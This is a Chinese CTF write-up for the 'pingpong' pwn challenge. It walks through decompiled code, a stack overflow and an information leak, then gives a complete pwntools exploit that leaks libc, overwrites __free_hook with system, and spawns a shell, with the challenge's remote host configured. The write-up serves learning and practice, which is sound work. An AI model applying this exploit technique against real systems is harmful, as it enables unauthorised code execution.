-
pingpong
這一題應該是最簡單的pwn題了 ,但是我還是沒做出來。對程序分析的不夠明白,雖然把libc和canary都leak出來了,但不知道要怎么做,嘗試修改返回地址,但是失敗了.......
防護機制:
[*] '/home/zs0zrc/game/SECTF/pingppong/pingpong' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
防護機制全開,簡單的運行了下,程序邏輯很簡單。就是輸入一串字符串,然后再將轉(zhuǎn)換過后的字符串打印出來。用ida查看反編譯的代碼
void __fastcall __noreturn sub_B93(__int64 a1, void *a2) { signed __int64 v2; // rdx void *v3; // rsp const char *v4; // [rsp+8h] [rbp-18h] void *ptr; // [rsp+10h] [rbp-10h] unsigned __int64 v6; // [rsp+18h] [rbp-8h] v6 = __readfsqword(0x28u); v2 = 14LL; v3 = alloca(144LL); v4 = (16 * ((&v4 + 7) >> 4)); // overwrite it while ( 1 ) { printf("\nping: ", a2, v2); ptr = read_content(v4); if ( !ptr ) break; a2 = ptr; printf("pong: %s\n", ptr); free(ptr); usleep(0xC350u); } _exit(0); }
程序?qū)4的地址進行了一些位移操作后傳給read_content函數(shù)作為參數(shù),調(diào)試觀察v4經(jīng)過位移操作后的變化
操作前:
&v4 = 0x7fffffffdd78 *v4 = 0x00007fffffffdeb8
操作后
&v4 = 0x7fffffffdd78 *v4 = 0x7fffffffdce0
read_content函數(shù):
_BYTE *__fastcall read_content(const char *buf) { int v1; // eax char v2; // al char v4; // [rsp+17h] [rbp-19h] int v5; // [rsp+18h] [rbp-18h] int i; // [rsp+18h] [rbp-18h] int len; // [rsp+1Ch] [rbp-14h] _BYTE *v8; // [rsp+20h] [rbp-10h] v5 = 0; while ( 1 ) { v4 = getchar(); // stack overflow if ( v4 == -1 || v4 == '\n' ) break; v1 = v5++; buf[v1] = v4; } len = strlen(buf); v8 = malloc(0x400uLL); for ( i = 0; i < len; ++i ) { if ( i & 1 ) v2 = buf[i] ^ 0x20; else v2 = buf[i]; v8[i] = v2; } return v8; }
這里根據(jù)將字符串讀取到*v4上去,因為這里讀取結(jié)束的條件是 -1和'\n',可以讀取很長的字符串,所以能覆蓋v4變量。然后將讀取的字符串經(jīng)過一個簡單的異或操作,拷貝到新malloc的chunk中,最后將chunk的地址作為函數(shù)返回值。因為這里沒有在末尾加'\0'截斷字符串,所以存在信息泄露。
具體思路是:
泄露libc地址 覆蓋v4的內(nèi)容為 &__free_hook-8 然后在讀入 '/bin/sh\x00' + p64(system) #將__free_hook覆蓋為system地址,這里'/bin/sh\x00'字符串要按它的規(guī)則進行異或 最后程序執(zhí)行free函數(shù)時,就會執(zhí)行system函數(shù) #這是其中的一種做法,我看別人的wp還有的是用rop做的,泄露出stack的地址,然后將ropchain寫入棧中,再覆蓋返回地址
exp:
#!/usr/bin/env python
from pwn import *
local = 1
if local:
p = process('./pingpong')
elf = ELF('./pingpong')
libc = elf.libc
else:
host = '142.93.39.178'
port = '2025'
p = remote(host,port)
elf = ELF('./pingpong')
libc = ELF('./libc.so.6')
context.arch = elf.arch
context.log_level='debug'
def sd(content):
p.send(content)
def sl(content):
p.sendline(content)
def rc():
return p.recv()
def ru(content):
return p.recvuntil(content)
rc()
sl('aaaaaaaa')
ru('ping:')
sl('aaaaaaaa')
ru('pong: aAaAaAaA')
leak = u64(p.recvline().strip('\n').ljust(8,'\x00'))
leak_stdout = 0
for i in range(6):
if(i&1):
leak_stdout +=(((leak>>i*8)&0xff^0x20)<<(i*8))
else:
leak_stdout +=(((leak>>i*8)&0xff)<<(i*8))
libc_base = leak_stdout - libc.symbols['_IO_2_1_stdout_']
__free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
print hex(libc_base)
binsh = '/BiN/Sh\x20'
payload1 = 'a'*0x98 + p64(__free_hook-0x8)
payload2 = binsh + p64(system)
sl(payload1)
rc()
sl(payload2)
p.interactive()